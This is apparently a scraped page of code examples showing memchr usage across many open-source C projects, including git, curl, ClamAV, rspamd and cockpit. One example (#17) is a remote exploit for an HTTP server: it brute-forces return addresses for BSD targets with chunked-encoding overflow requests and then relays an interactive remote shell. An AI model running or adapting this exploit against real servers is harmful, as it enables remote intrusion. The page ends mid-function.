			BUG("unterminated line found in packed-refs");
		if (eol - pos < GIT_SHA1_HEXSZ + 2)
			die_invalid_line(snapshot->refs->path,
					 pos, eof - pos);
		eol++;
		if (eol < eof && *eol == '^') {
			/*
			 * Keep any peeled line together with its
			 * reference:
			 */
			const char *peeled_start = eol;

			eol = memchr(peeled_start, '\n', eof - peeled_start);
			if (!eol)
				/* The safety check should prevent this. */
				BUG("unterminated peeled line found in packed-refs");
			eol++;
		}

		ALLOC_GROW(records, nr + 1, alloc);
		records[nr].start = pos;
		records[nr].len = eol - pos;
		nr++;

		if (sorted &&
		    nr > 1 &&
		    cmp_packed_ref_records(&records[nr - 2],
					   &records[nr - 1]) >= 0)
			sorted = 0;

		pos = eol;
	}

	if (sorted)
		goto cleanup;

	/* We need to sort the memory. First we sort the records array: */
	QSORT(records, nr, cmp_packed_ref_records);

	/*
	 * Allocate a new chunk of memory, and copy the old memory to
	 * the new in the order indicated by `records` (not bothering
	 * with the header line):
	 */
	new_buffer = xmalloc(len);
	for (dst = new_buffer, i = 0; i < nr; i++) {
		memcpy(dst, records[i].start, records[i].len);
		dst += records[i].len;
	}

	/*
	 * Now munmap the old buffer and use the sorted buffer in its
	 * place:
	 */
	clear_snapshot_buffer(snapshot);
	snapshot->buf = new_buffer;
	snapshot->eof = new_buffer + len;
	snapshot->header_len = 0;

cleanup:
	free(records);
}
コード例 #14
0
ファイル: libinjection.c プロジェクト: PutiZL/ironbee
static
ib_status_t sqli_normalize_tfn(
    ib_mm_t            mm,
    const ib_field_t  *field_in,
    const ib_field_t **field_out,
    void              *instdata,
    void              *tfn_data
)
{
    assert(field_in  != NULL);
    assert(field_out != NULL);

    const sqli_fingerprint_set_t *ps = (const sqli_fingerprint_set_t *)tfn_data;
    sfilter                   sf;
    ib_bytestr_t             *bs_in;
    ib_bytestr_t             *bs_out;
    const char               *buf_in;
    char                     *buf_in_start;
    size_t                    buf_in_len;
    char                     *buf_out;
    char                     *buf_out_end;
    size_t                    buf_out_len;
    size_t                    lead_len = 0;
    char                      prev_token_type;
    ib_field_t               *field_new;
    ib_status_t               rc;
    size_t                    fingerprint_len;

    /* Currently only bytestring types are supported.
     * Other types will just get passed through. */
    if (field_in->type != IB_FTYPE_BYTESTR) {
        *field_out = field_in;
        return IB_OK;
    }

    /* Extract the underlying incoming value. */
    rc = ib_field_value(field_in, ib_ftype_bytestr_mutable_out(&bs_in));
    if (rc != IB_OK) {
        return rc;
    }
    if (ib_bytestr_length(bs_in) == 0) {
        *field_out = field_in;
        return IB_OK;
    }

    /* Create a buffer big enough (double) to allow for normalization. */
    buf_in = (const char *)ib_bytestr_const_ptr(bs_in);
    buf_out = buf_out_end = (char *)ib_mm_calloc(mm, 2, ib_bytestr_length(bs_in));
    if (buf_out == NULL) {
        return IB_EALLOC;
    }

/* TODO: With the latest libinjection, we will need to do something like the
 * following, but more robust, instead of just calling is_sqli. This seems
 * to be because folding is now called, which removes some tokens.
 */
#if 0
    /* As SQL can be injected into a string, the normalization
     * needs to start after the first quote character if one
     * exists.
     *
     * First try single quote, then double, then none.
     *
     * TODO: Handle returning multiple transformations:
     *       1) Straight normalization
     *       2) Normalization as if with single quotes (starting point
     *          should be based on straight normalization)
     *       3) Normalization as if with double quotes (starting point
     *          should be based on straight normalization)
     */
    buf_in_start = memchr(buf_in, CHAR_SINGLE, ib_bytestr_length(bs_in));
    if (buf_in_start == NULL) {
        buf_in_start = memchr(buf_in, CHAR_DOUBLE, ib_bytestr_length(bs_in));
    }
    if (buf_in_start == NULL) {
        buf_in_start = (char *)buf_in;
        buf_in_len = ib_bytestr_length(bs_in);
    }
    else {
        ++buf_in_start; /* After the quote. */
        buf_in_len = ib_bytestr_length(bs_in) - (buf_in_start - buf_in);
    }

    /* Copy the leading string if one exists. */
    if (buf_in_start != buf_in) {
        lead_len = buf_in_start - buf_in;
        memcpy(buf_out, buf_in, lead_len);
        buf_out_end += lead_len;
    }
#endif
    buf_in_start = (char *)buf_in;
    buf_in_len = ib_bytestr_length(bs_in);

    /* Copy the normalized tokens as a space separated list. Since
     * the tokenizer does not backtrack, and the normalized values
     * are always equal to or less than the original length, the
     * tokens are written back to the beginning of the original
     * buffer.
     */
    libinjection_sqli_init(&sf,buf_in_start, buf_in_len, FLAG_NONE);
    libinjection_sqli_callback(&sf, sqli_lookup_word, (void *)ps);

    /* NOTE: We do not care if it is sqli, but just want the tokens. */
    libinjection_is_sqli(&sf);

    if (strlen(sf.fingerprint) == 0) {
        *field_out = field_in;
        return IB_OK;
    }

    buf_out_len = 0;
    prev_token_type = 0;
    fingerprint_len = strlen(sf.fingerprint);
    for (size_t i = 0; i < fingerprint_len; ++i) {
        stoken_t current = sf.tokenvec[i];
        size_t token_len = strlen(current.val);

        /* Add in the space if required. */
        if ((buf_out_end != buf_out) &&
            (current.type != 'o') &&
            (prev_token_type != 'o') &&
            (current.type != ',') &&
            (*(buf_out_end - 1) != ','))
        {
            *buf_out_end = ' ';
            buf_out_end += 1;
            ++buf_out_len;
        }

        /* Copy the token value. */
        memcpy(buf_out_end, current.val, token_len);
        buf_out_end += token_len;
        buf_out_len += token_len;

        prev_token_type = current.type;
    }


    /* Create the output field wrapping bs_out. */
    buf_out_len += lead_len;
    rc = ib_bytestr_alias_mem(&bs_out, mm, (uint8_t *)buf_out, buf_out_len);
    if (rc != IB_OK) {
        return rc;
    }
    rc = ib_field_create(&field_new, mm,
                         field_in->name, field_in->nlen,
                         IB_FTYPE_BYTESTR,
                         ib_ftype_bytestr_mutable_in(bs_out));
    if (rc == IB_OK) {
        *field_out = field_new;
    }
    return rc;
}
コード例 #15
0
ファイル: gsffile.c プロジェクト: DavidMercier/gwyddion
static GwyContainer*
gsf_load(const gchar *filename,
         G_GNUC_UNUSED GwyRunType mode,
         GError **error)
{
    GwyContainer *container = NULL, *meta = NULL;
    GwyDataField *dfield = NULL;
    GwyTextHeaderParser parser;
    GwySIUnit *unit;
    guchar *p, *value, *buffer = NULL, *header = NULL;
    const guchar *datap;
    GHashTable *hash = NULL;
    gsize size, expected_size;
    GError *err = NULL;
    gdouble xreal, yreal, xoff, yoff;
    guint i, xres, yres;
    gdouble *d;

    if (!gwy_file_get_contents(filename, &buffer, &size, &err)) {
        err_GET_FILE_CONTENTS(error, &err);
        return NULL;
    }

    if (size < MAGIC_SIZE || memcmp(buffer, MAGIC, MAGIC_SIZE) != 0) {
        err_FILE_TYPE(error, "Gwyddion Simple Field");
        goto fail;
    }

    p = buffer + MAGIC_SIZE;
    datap = memchr(p, '\0', size - (p - buffer));
    if (!datap) {
        g_set_error(error, GWY_MODULE_FILE_ERROR, GWY_MODULE_FILE_ERROR_DATA,
                    _("File header is truncated."));
        goto fail;
    }
    header = g_strdup(p);
    datap += 4 - ((datap - buffer) % 4);

    gwy_clear(&parser, 1);
    parser.key_value_separator = "=";
    if (!(hash = gwy_text_header_parse(header, &parser, NULL, NULL))) {
        g_propagate_error(error, err);
        goto fail;
    }

    xres = read_pixel_size(hash, "XRes", error);
    yres = read_pixel_size(hash, "YRes", error);
    if (!xres || !yres)
        goto fail;

    expected_size = (datap - buffer) + sizeof(gfloat)*xres*yres;
    if (err_SIZE_MISMATCH(error, expected_size, size, TRUE))
        goto fail;

    xreal = read_real_size(hash, "XReal");
    yreal = read_real_size(hash, "YReal");
    dfield = gwy_data_field_new(xres, yres, xreal, yreal, FALSE);

    xoff = read_real_offset(hash, "XOffset");
    yoff = read_real_offset(hash, "YOffset");
    gwy_data_field_set_xoffset(dfield, xoff);
    gwy_data_field_set_yoffset(dfield, yoff);

    value = g_hash_table_lookup(hash, "XYUnits");
    unit = gwy_si_unit_new(value);
    gwy_data_field_set_si_unit_xy(dfield, unit);
    g_object_unref(unit);

    value = g_hash_table_lookup(hash, "ZUnits");
    unit = gwy_si_unit_new(value);
    gwy_data_field_set_si_unit_z(dfield, unit);
    g_object_unref(unit);

    d = gwy_data_field_get_data(dfield);
    for (i = xres*yres; i; i--)
        *(d++) = gwy_get_gfloat_le(&datap);

    container = gwy_container_new();
    gwy_container_set_object(container, gwy_app_get_data_key_for_id(0), dfield);
    g_object_unref(dfield);

    if ((value = g_hash_table_lookup(hash, "Title"))) {
        /* FIXME: Ensure valid UTF-8 */
        gwy_container_set_string_by_name(container, "/0/data/title",
                                         g_strdup(value));
    }
    else
        gwy_app_channel_title_fall_back(container, 0);

    meta = gwy_container_new();
    g_hash_table_foreach(hash, add_meta, meta);
    if (gwy_container_get_n_items(meta))
        gwy_container_set_object_by_name(container, "/0/meta", meta);
    g_object_unref(meta);

    gwy_file_channel_import_log_add(container, 0, NULL, filename);

fail:
    gwy_file_abandon_contents(buffer, size, NULL);
    if (header)
        g_free(header);
    if (hash)
        g_hash_table_destroy(hash);

    return container;
}
コード例 #16
0
ファイル: vector.hpp プロジェクト: jmckaskill/mt
 int find(uint8_t val) {
     uint8_t* p = (uint8_t*) memchr(m_Data, val, m_Size);
     return p ? p - m_Data : -1;
 }
コード例 #17
0
int main(int argc, char *argv[]) {
	char *hostp, *portp, *cmdz = DEFAULT_CMDZ;
	u_char buf[512], *expbuf, *p;
	int i, j, lport, sock;
	int bruteforce, owned, progress, sc_timeout = 5;
	int responses, shown_length = 0;
	struct in_addr ia;
	struct sockaddr_in sin, from;
	struct hostent *he;


	if(argc < 4)
		usage();

	bruteforce = 0;
	memset(&victim, 0, sizeof(victim));
	while((i = getopt(argc, argv, "t:b:d:h:w:c:r:z:o:")) != -1) {
		switch(i) {
			/* required stuff */
			case 'h':
			hostp = strtok(optarg, ":");
			if((portp = strtok(NULL, ":")) == NULL)
				portp = "80";
			break;

			/* predefined targets */
			case 't':
			if(atoi(optarg) >= sizeof(targets)/sizeof(victim)) {
				printf("Invalid target\n");
				return -1;
			}

			memcpy(&victim, &targets[atoi(optarg)], sizeof(victim));
			break;

			/* bruteforce! */
			case 'b':
			bruteforce++;
			victim.type = "Custom target";
			victim.retaddr = strtoul(optarg, NULL, 16);
			printf("Using 0x%lx as the baseadress while bruteforcing..\n", victim.retaddr);
			break;

			case 'd':
			victim.delta = atoi(optarg);
			printf("Using %d as delta\n", victim.delta);
			break;

			case 'r':
			victim.repretaddr = atoi(optarg);
			printf("Repeating the return address %d times\n", victim.repretaddr);
			break;

			case 'z':
			victim.repzero = atoi(optarg);
			printf("Number of zeroes will be %d\n", victim.repzero);
			break;

			case 'o':
			bruteforce++;
			switch(*optarg) {
				case 'f':
				victim.type = "FreeBSD";
				victim.retaddr = 0x80a0000;
				victim.delta = -150;
				victim.repretaddr = 6;
				victim.repzero = 36;
				break;

				case 'o':
				victim.type = "OpenBSD";
				victim.retaddr = 0x80000;
				victim.delta = -146;
				victim.repretaddr = 6;
				victim.repzero = 36;
				break;

				case 'n':
				victim.type = "NetBSD";
				victim.retaddr = 0x080e0000;
				victim.delta = -90;
				victim.repretaddr = 5;
				victim.repzero = 42;
				break;

				default:
				printf("[-] Better luck next time!\n");
				break;
			}
			break;

			/* optional stuff */
			case 'w':
			sc_timeout = atoi(optarg);
			printf("Waiting maximum %d seconds for replies from shellcode\n", sc_timeout);
			break;

			case 'c':
			cmdz = optarg;
			break;

			default:
			usage();
			break;
		}
	}

	if(!victim.delta || !victim.retaddr || !victim.repretaddr || !victim.repzero) {
		printf("[-] Incomplete target. At least 1 argument is missing (nmap style!!)\n");
		return -1;
	}

	printf("[*] Resolving target host.. ");
	fflush(stdout);
	he = gethostbyname(hostp);
	if(he)
		memcpy(&ia.s_addr, he->h_addr, 4);
	else if((ia.s_addr = inet_addr(hostp)) == INADDR_ANY) {
		printf("There'z no %s on this side of the Net!\n", hostp);
		return -1;
	}

	printf("%s\n", inet_ntoa(ia));


	srand(getpid());
	signal(SIGPIPE, SIG_IGN);
	for(owned = 0, progress = 0;;victim.retaddr += RET_ADDR_INC) {
		/* skip invalid return adresses */
		if(memchr(&victim.retaddr, 0x0a, 4) || memchr(&victim.retaddr, 0x0d, 4))
			continue;


		sock = socket(PF_INET, SOCK_STREAM, 0);
		sin.sin_family = PF_INET;
		sin.sin_addr.s_addr = ia.s_addr;
		sin.sin_port = htons(atoi(portp));
		if(!progress)
			printf("[*] Connecting.. ");

		fflush(stdout);
		if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) {
			perror("connect()");
			exit(1);
		}

		if(!progress)
			printf("connected!\n");


		p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) * REP_SHELLCODE)
				    + ((PADSIZE_1 + (victim.repretaddr * 4) + victim.repzero
				    + 1024) * REP_POPULATOR));

		PUT_STRING("GET / HTTP/1.1\r\nHost: " HOST_PARAM "\r\n");

		for (i = 0; i < REP_SHELLCODE; i++) {
			PUT_STRING("X-");
			PUT_BYTES(PADSIZE_3, PADDING_3);
			PUT_STRING(": ");
			PUT_BYTES(NOPCOUNT, NOP);
			memcpy(p, shellcode, sizeof(shellcode) - 1);
			p += sizeof(shellcode) - 1;
			PUT_STRING("\r\n");
		}

		for (i = 0; i < REP_POPULATOR; i++) {
			PUT_STRING("X-");
			PUT_BYTES(PADSIZE_1, PADDING_1);
			PUT_STRING(": ");
			for (j = 0; j < victim.repretaddr; j++) {
				*p++ = victim.retaddr & 0xff;
				*p++ = (victim.retaddr >> 8) & 0xff;
				*p++ = (victim.retaddr >> 16) & 0xff;
				*p++ = (victim.retaddr >> 24) & 0xff;
			}

			PUT_BYTES(victim.repzero, 0);
			PUT_STRING("\r\n");
		}

		PUT_STRING("Transfer-Encoding: chunked\r\n");
		snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", PADSIZE_2);
		PUT_STRING(buf);
		PUT_BYTES(PADSIZE_2, PADDING_2);
		snprintf(buf, sizeof(buf) - 1, "\r\n%x\r\n", victim.delta);
		PUT_STRING(buf);
		
		if(!shown_length) {
			printf("[*] Exploit output is %u bytes\n", (unsigned int)(p - expbuf));
			shown_length = 1; 
		}
		
		write(sock, expbuf, p - expbuf);

		progress++;
		if((progress%70) == 0)
			progress = 1;

		if(progress == 1) {
			printf("\r[*] Currently using retaddr 0x%lx", victim.retaddr);
			for(i = 0; i < 40; i ++)
				printf(" ");
			printf("\n");
			if(bruteforce)
				putchar(';');
		}
		else
			putchar(((rand()>>8)%2)? 'P': 'p');


		fflush(stdout);
		responses = 0;
		while (1) {
			fd_set          fds;
			int             n;
			struct timeval  tv;

			tv.tv_sec = sc_timeout;
			tv.tv_usec = 0;

			FD_ZERO(&fds);
			FD_SET(0, &fds);
			FD_SET(sock, &fds);
	
			memset(buf, 0, sizeof(buf));
			if(select(sock + 1, &fds, NULL, NULL, owned? NULL : &tv) > 0) {
				if(FD_ISSET(sock, &fds)) {
					if((n = read(sock, buf, sizeof(buf) - 1)) < 0)
						break;

					if(n >= 1)
					{
						if(!owned)
						{
							for(i = 0; i < n; i ++)
								if(buf[i] == 'G')
									responses ++;
								else
									responses = 0;
							if(responses >= 2)
							{
								owned = 1;
								write(sock, "O", 1);
								write(sock, cmdz, strlen(cmdz));
								printf(" it's a TURKEY: type=%s, delta=%d, retaddr=0x%lx, repretaddr=%d, repzero=%d\n", victim.type, victim.delta, victim.retaddr, victim.repretaddr, victim.repzero);
								printf("Experts say this isn't exploitable, so nothing will happen now: ");
								fflush(stdout);
							}
						} else
  							write(1, buf, n);
  					}
				}

				if(FD_ISSET(0, &fds)) {
					if((n = read(0, buf, sizeof(buf) - 1)) < 0)
						exit(1);

					write(sock, buf, n);
				}

			}

			if(!owned)
				break;
		}

		free(expbuf);
		close(sock);

		if(owned)
			return 0;

		if(!bruteforce) {
			fprintf(stderr, "Ooops.. hehehe!\n");
			return -1;
		}
	}

	return 0;
}
コード例 #18
0
static EHost_Match s_Match(const char* env,
                           const char* arg, size_t arglen,
                           const char* val, size_t vallen,
                           const char** a, char** v)
{
    int/*bool*/ wildcard = 0/*false*/;
    int/*bool*/ noval = 0/*false*/;
    int/*bool*/ only = 0/*false*/;
    const char* c = env;

    assert(arg  &&  arglen);
    assert(a  &&  !*a  &&  v  &&  !*v);
    /* Note 1:  val == NULL implies vallen == 0, and means there was
     *          no argument in the query;
     * Note 2:  val != NULL does not imply vallen != 0, but means there
     *          was (perhaps, empty [if vallen == 0]) argument in the query.
     */
    while (c) {
        const char* p = strchr(c == env ? c : ++c, '=');
        const char* q = c;
        if (!p)
            break;
        c = strchr(q, '\n');
        if ((size_t)(p - q) != arglen)
            continue;
        if (strncasecmp(q, arg, arglen) != 0)
            continue;
        /* arg matches */
        *a = arg;
        if (memchr(p + 1, '!', (c ? (size_t)(c - p) : strlen(p)) - 1))
            only = 1/*true*/;
        for (q = p+1/*=*/ + strspn(p+1, " \t!"); ; q = p + strspn(p, " \t!")) {
            int/*bool*/ no = 0/*false*/;
            size_t len;
            if (*q != '\0'  &&  *q != '\n')
                len = strcspn(q, " \t!");
            else if (*p == '=')
                len = 0;
            else
                break;
            if (len  &&  *q == '~') {
                no = 1/*true*/;
                len--;
                q++;
            }
            if (len == 1  &&  *q == '*') {
                if (!no)
                    wildcard = 1/*true*/;
            } else if (len == 1  &&  *q == '-') {
                if (!val) {
                    if (no)
                        return eHost_BadMatch;
                    *v = strndup("-", 1);
                    return eHost_BestMatch;
                }
                if (no)
                    wildcard = 1/*true*/;
                else
                    noval = 1/*true*/;
            } else {
                size_t vlen = len;
                if (vlen == 2  &&  q[0] == '"'  &&  q[1] == '"')
                    vlen = 0;
                if (val  &&  vlen == vallen  &&  !strncasecmp(q, val, vlen)) {
                    if (no)
                        return eHost_BadMatch;
                    *v = strndup(q, vlen);
                    return eHost_BestMatch;
                }
                if (no)
                    wildcard = 1/*true*/;
            }
            p = q + len;
        }
    }
    /* Neither best match nor mismatch found */
    if (val) {
        if (wildcard) {
            *v = strndup("*", 1);
            return eHost_GoodMatch;
        }
        if (only)
            return eHost_BadMatch;
        if (!*a)
            return eHost_FairMatch;
        if (noval) {
            *v = strndup("",  0);
            return eHost_PoorMatch;
        }
        return eHost_NoMatch;
    }
    if (!*a)
        return eHost_GoodMatch;
    if (only)
        return eHost_BadMatch;
    if (wildcard) {
        *v = strndup("*", 1);
        return eHost_FairMatch;
    }
    assert(!noval);
    return eHost_PoorMatch;
}
コード例 #19
0
ファイル: cockpithttpstream.c プロジェクト: andreasn/cockpit
static gboolean
relay_chunked (CockpitHttpStream *self,
               CockpitChannel *channel,
               GByteArray *buffer)
{
  GBytes *message;
  const gchar *data;
  const gchar *pos;
  guint64 size;
  gsize length;
  gsize beg;
  gchar *end;

  data = (const gchar *)buffer->data;
  length = buffer->len;

  pos = memchr (data, '\r', length);
  if (pos == NULL)
    return FALSE; /* want more data */

  beg = (pos + 2) - data;
  if (length < beg)
    {
      /* have to have a least the ending chars */
      return FALSE; /* want more data */
    }

  size = g_ascii_strtoull (data, &end, 16);
  if (pos[1] != '\n' || end != pos)
    {
      cockpit_channel_fail (channel, "protocol-error",
                            "%s: received invalid HTTP chunk", self->name);
    }
  else if (size > G_MAXSSIZE)
    {
      cockpit_channel_fail (channel, "protocol-error",
                            "%s: received extremely large HTTP chunk", self->name);
    }
  else if (length < beg + size + 2)
    {
      return FALSE; /* want more data */
    }
  else if (data[beg + size] != '\r' || data[beg + size + 1] != '\n')
    {
      cockpit_channel_fail (channel, "protocol-error",
                            "%s: received invalid HTTP chunk data", self->name);
    }
  else if (size == 0)
    {
      /* All done, yay */
      g_debug ("%s: received last chunk", self->name);
      cockpit_pipe_skip (buffer, beg + 2);
      cockpit_channel_close (channel, NULL);
      g_assert (self->state == FINISHED);
    }
  else
    {
      message = cockpit_pipe_consume (buffer, beg, size, 2);
      relay_data (channel, message);
      g_bytes_unref (message);
      return TRUE;
    }

  return TRUE;
}
コード例 #20
0
ファイル: map.c プロジェクト: jeromelebleu/rspamd
static const gchar *
rspamd_map_check_proto (struct rspamd_config *cfg,
		const gchar *map_line, struct rspamd_map_backend *bk)
{
	const gchar *pos = map_line, *end, *end_key;

	g_assert (bk != NULL);
	g_assert (pos != NULL);

	end = pos + strlen (pos);

	if (g_ascii_strncasecmp (pos, "sign+", sizeof ("sign+") - 1) == 0) {
		bk->is_signed = TRUE;
		pos += sizeof ("sign+") - 1;
	}

	if (g_ascii_strncasecmp (pos, "key=", sizeof ("key=") - 1) == 0) {
		pos += sizeof ("key=") - 1;
		end_key = memchr (pos, '+', end - pos);

		if (end_key != NULL) {
			bk->trusted_pubkey = rspamd_pubkey_from_base32 (pos, end_key - pos,
					RSPAMD_KEYPAIR_SIGN, RSPAMD_CRYPTOBOX_MODE_25519);

			if (bk->trusted_pubkey == NULL) {
				msg_err_config ("cannot read pubkey from map: %s",
						map_line);
				return NULL;
			}
			pos = end_key + 1;
		}
		else if (end - pos > 64) {
			/* Try hex encoding */
			bk->trusted_pubkey = rspamd_pubkey_from_hex (pos, 64,
					RSPAMD_KEYPAIR_SIGN, RSPAMD_CRYPTOBOX_MODE_25519);

			if (bk->trusted_pubkey == NULL) {
				msg_err_config ("cannot read pubkey from map: %s",
						map_line);
				return NULL;
			}
			pos += 64;
		}
		else {
			msg_err_config ("cannot read pubkey from map: %s",
					map_line);
			return NULL;
		}

		if (*pos == '+' || *pos == ':') {
			pos ++;
		}
	}

	bk->protocol = MAP_PROTO_FILE;

	if (g_ascii_strncasecmp (pos, "http://",
			sizeof ("http://") - 1) == 0) {
		bk->protocol = MAP_PROTO_HTTP;
		/* Include http:// */
		bk->uri = g_strdup (pos);
		pos += sizeof ("http://") - 1;
	}
	else if (g_ascii_strncasecmp (pos, "file://", sizeof ("file://") -
			1) == 0) {
		pos += sizeof ("file://") - 1;
		/* Exclude file:// */
		bk->uri = g_strdup (pos);
	}
	else if (*pos == '/') {
		/* Trivial file case */
		bk->uri = g_strdup (pos);
	}
	else {
		msg_err_config ("invalid map fetching protocol: %s", map_line);

		return NULL;
	}


	return pos;
}
コード例 #21
0
ファイル: sendf.c プロジェクト: AndyUI/curl
/*
 * convert_lineends() changes CRLF (\r\n) end-of-line markers to a single LF
 * (\n), with special processing for CRLF sequences that are split between two
 * blocks of data.  Remaining, bare CRs are changed to LFs.  The possibly new
 * size of the data is returned.
 */
static size_t convert_lineends(struct SessionHandle *data,
                               char *startPtr, size_t size)
{
  char *inPtr, *outPtr;

  /* sanity check */
  if((startPtr == NULL) || (size < 1)) {
    return size;
  }

  if(data->state.prev_block_had_trailing_cr) {
    /* The previous block of incoming data
       had a trailing CR, which was turned into a LF. */
    if(*startPtr == '\n') {
      /* This block of incoming data starts with the
         previous block's LF so get rid of it */
      memmove(startPtr, startPtr+1, size-1);
      size--;
      /* and it wasn't a bare CR but a CRLF conversion instead */
      data->state.crlf_conversions++;
    }
    data->state.prev_block_had_trailing_cr = FALSE; /* reset the flag */
  }

  /* find 1st CR, if any */
  inPtr = outPtr = memchr(startPtr, '\r', size);
  if(inPtr) {
    /* at least one CR, now look for CRLF */
    while(inPtr < (startPtr+size-1)) {
      /* note that it's size-1, so we'll never look past the last byte */
      if(memcmp(inPtr, "\r\n", 2) == 0) {
        /* CRLF found, bump past the CR and copy the NL */
        inPtr++;
        *outPtr = *inPtr;
        /* keep track of how many CRLFs we converted */
        data->state.crlf_conversions++;
      }
      else {
        if(*inPtr == '\r') {
          /* lone CR, move LF instead */
          *outPtr = '\n';
        }
        else {
          /* not a CRLF nor a CR, just copy whatever it is */
          *outPtr = *inPtr;
        }
      }
      outPtr++;
      inPtr++;
    } /* end of while loop */

    if(inPtr < startPtr+size) {
      /* handle last byte */
      if(*inPtr == '\r') {
        /* deal with a CR at the end of the buffer */
        *outPtr = '\n'; /* copy a NL instead */
        /* note that a CRLF might be split across two blocks */
        data->state.prev_block_had_trailing_cr = TRUE;
      }
      else {
        /* copy last byte */
        *outPtr = *inPtr;
      }
      outPtr++;
    }
    if(outPtr < startPtr+size)
      /* tidy up by null terminating the now shorter data */
      *outPtr = '\0';

    return (outPtr - startPtr);
  }
  return size;
}
コード例 #22
0
ファイル: string.c プロジェクト: Josepanita/PicoCi
void StringMemchr(struct ParseState *Parser, struct Value *ReturnValue, struct Value **Param, int NumArgs)
{
    ReturnValue->Val->Pointer = memchr(Param[0]->Val->Pointer, Param[1]->Val->Integer, Param[2]->Val->Integer);
}
コード例 #23
0
int cli_url_canon(const char *inurl, size_t len, char *urlbuff, size_t dest_len, char **host, size_t *hostlen, const char **path, size_t *pathlen)
{
	char *url, *p, *last;
	char *host_begin, *path_begin;
	const char *urlend = urlbuff + len;
	size_t host_len, path_len;

	dest_len -= 3;
	strncpy(urlbuff, inurl, dest_len);
	urlbuff[dest_len] = urlbuff[dest_len+1] = urlbuff[dest_len+2] = '\0';
	url = urlbuff;

	/* canonicalize only real URLs, with a protocol */
	host_begin = strchr(url, ':');
	if(!host_begin)
		return CL_PHISH_CLEAN;
	++host_begin;

	/* ignore username in URL */
	while((host_begin < urlend) && *host_begin == '/') ++host_begin;
	host_len = strcspn(host_begin, ":/?");
	p = memchr(host_begin, '@', host_len);
	if (p)
	    host_begin = p+1;
	url = host_begin;
	/* repeatedly % unescape characters */
	str_hex_to_char(&url, &urlend);
	host_begin = url;
	len = urlend - url;
	/* skip to beginning of hostname */
	while((host_begin < urlend) && *host_begin == '/') ++host_begin;
	while(*host_begin == '.' && host_begin < urlend) ++host_begin;

	last = strchr(host_begin, '/');
	p = host_begin;
	while (p < urlend) {
	    if (p+2 < urlend && *p == '/' && p[1] == '.' ) {
		if (p[2] == '/') {
		    /* remove /./ */
		    if (p + 3 < urlend)
			memmove(p+1, p+3, urlend - p - 3);
		    urlend -= 2;
		}
		else if (p[2] == '.' && (p[3] == '/' || p[3] == '\0') && last) {
		    /* remove /component/../ */
		    if (p+4 < urlend)
			memmove(last+1, p+4, urlend - p - 4);
		    urlend -= 3 + (p - last);
		}
	    }
	    if (*p == '/')
		last = p;
	    p++;
	}
	p = &url[urlend - url];
	*p = '\0';

	p = host_begin;
	while (p < urlend && p+2 < url + dest_len && urlend < urlbuff+dest_len) {
	    unsigned char c = *p;
	    if (c <= 32 || c >= 127 || c == '%' || c == '#') {
		/* convert non-ascii characters back to % escaped */
		const char hexchars[] = "0123456789ABCDEF";
		memmove(p+3, p+1, urlend - p - 1);
		*p++ = '%';
		*p++ = hexchars[c>>4];
		*p = hexchars[c&0xf];
		urlend += 2;
	    }
	    p++;
	}
	*p = '\0';
	urlend = p;
	len = urlend - url;
	/* determine end of hostname */
	host_len = strcspn(host_begin, ":/?");
	path_begin = host_begin + host_len;
	if(host_len <= len) {
		/* url without path, use a single / */
		memmove(path_begin + 2, path_begin + 1, len - host_len);
		*path_begin++ = '/';
		*path_begin++ = '\0';
	} else path_begin = url+len;
	if(url + len >= path_begin) {
		path_len = url + len - path_begin + 1;
		p = strchr(path_begin, '#');
		if (p) {
		    /* ignore anchor */
		    *p = '\0';
		    path_len = p - path_begin;
		}
		*path = path_begin;
	} else {
		path_len = 0;
		*path = "";
	}
	/* lowercase entire URL */
	str_make_lowercase(host_begin, host_len);
	*host = host_begin;
	*hostlen = host_len;
	*pathlen = path_len;
	return CL_PHISH_NODECISION;
}
コード例 #24
0
/* strnlen only became available on OS X in 10.7 */
size_t strnlen_(const char *begin, size_t maxlen) {
    const char *end = static_cast<const char *>( memchr(begin, '\0', maxlen) );
    return end ? (end - begin) : maxlen;
}
コード例 #25
0
static int
parse_options(char *options, int *pre, double *infps, double *outfps)
{
	char	*p, *pbase, *q, *r;
	size_t	len;
	vob_t	*vob;
	int	default_pre, i;

	/* defaults from -f and --export_fps */
	vob = tc_get_vob();
	if (!vob) return -1;
	*infps = vob->fps;
	*outfps = vob->ex_fps;
	default_pre = 1;

	if (!options || !*options) return 0;
	if (!strcmp(options, "help")) {
		tc_log_info(MOD_NAME, "(%s) help\n"
"This filter converts the video frame rate, by repeating or dropping frames.\n"
"options: <input fps>:<output fps>\n"
"example: -J fps=25:29.97 will convert from PAL to NTSC\n"
"In addition to the frame rate options, you may also specify pre or post.\n"
"If no rate options are given, defaults or -f/--export_fps/--export_frc will\n"
"be used.\n"
"If no pre or post options are given, decreasing rates will preprocess and\n"
"increasing rates will postprocess.\n"
			    , MOD_CAP);
		return -1;
	}

	len = strlen(options);
	p = pbase = malloc(len + 1);
	ac_memcpy(p, options, len);
	p[len] = '\0';

	i = 0;
	do {
		q = memchr(p, ':', len);
		if (q) *q++ = '\0';
		if (!strcmp(p, "pre")) {
			*pre = 1;
			default_pre = 0;
		} else if (!strncmp(p, "pre=", 4) && *(p + 4)) {
			*pre = strtol(p + 4, &r, 0);
			if (r == p) return -1;
			default_pre = 0;
		} else if (!strcmp(p, "post")) {
			*pre = 0;
			default_pre = 0;
		} else if (!strncmp(p, "post=", 5) && *(p + 5)) {
			*pre = !strtol(p + 4, &r, 0);
			if (r == p) return -1;
			default_pre = 0;
		} else {
			if (i == 0) {
				*infps = strtod(p, &r);
				if (r == p) return -1;
			} else if (i == 1) {
				*outfps = strtod(p, &r);
				if (r == p) return -1;
			} else return -1;
			i++;
		}
	} while (q && (p = q));

	free(pbase);

	if (default_pre) {
		if (*infps > *outfps) *pre = 1;
		else if (*infps < *outfps) *pre = 0;
	}

	return 0;
}
コード例 #26
0
ファイル: kwset.c プロジェクト: dscho/git
/* Fast boyer-moore search. */
static size_t
bmexec (kwset_t kws, char const *text, size_t size)
{
  struct kwset const *kwset;
  register unsigned char const *d1;
  register char const *ep, *sp, *tp;
  register int d, gc, i, len, md2;

  kwset = (struct kwset const *) kws;
  len = kwset->mind;

  if (len == 0)
    return 0;
  if (len > size)
    return -1;
  if (len == 1)
    {
      tp = memchr (text, kwset->target[0], size);
      return tp ? tp - text : -1;
    }

  d1 = kwset->delta;
  sp = kwset->target + len;
  gc = U(sp[-2]);
  md2 = kwset->mind2;
  tp = text + len;

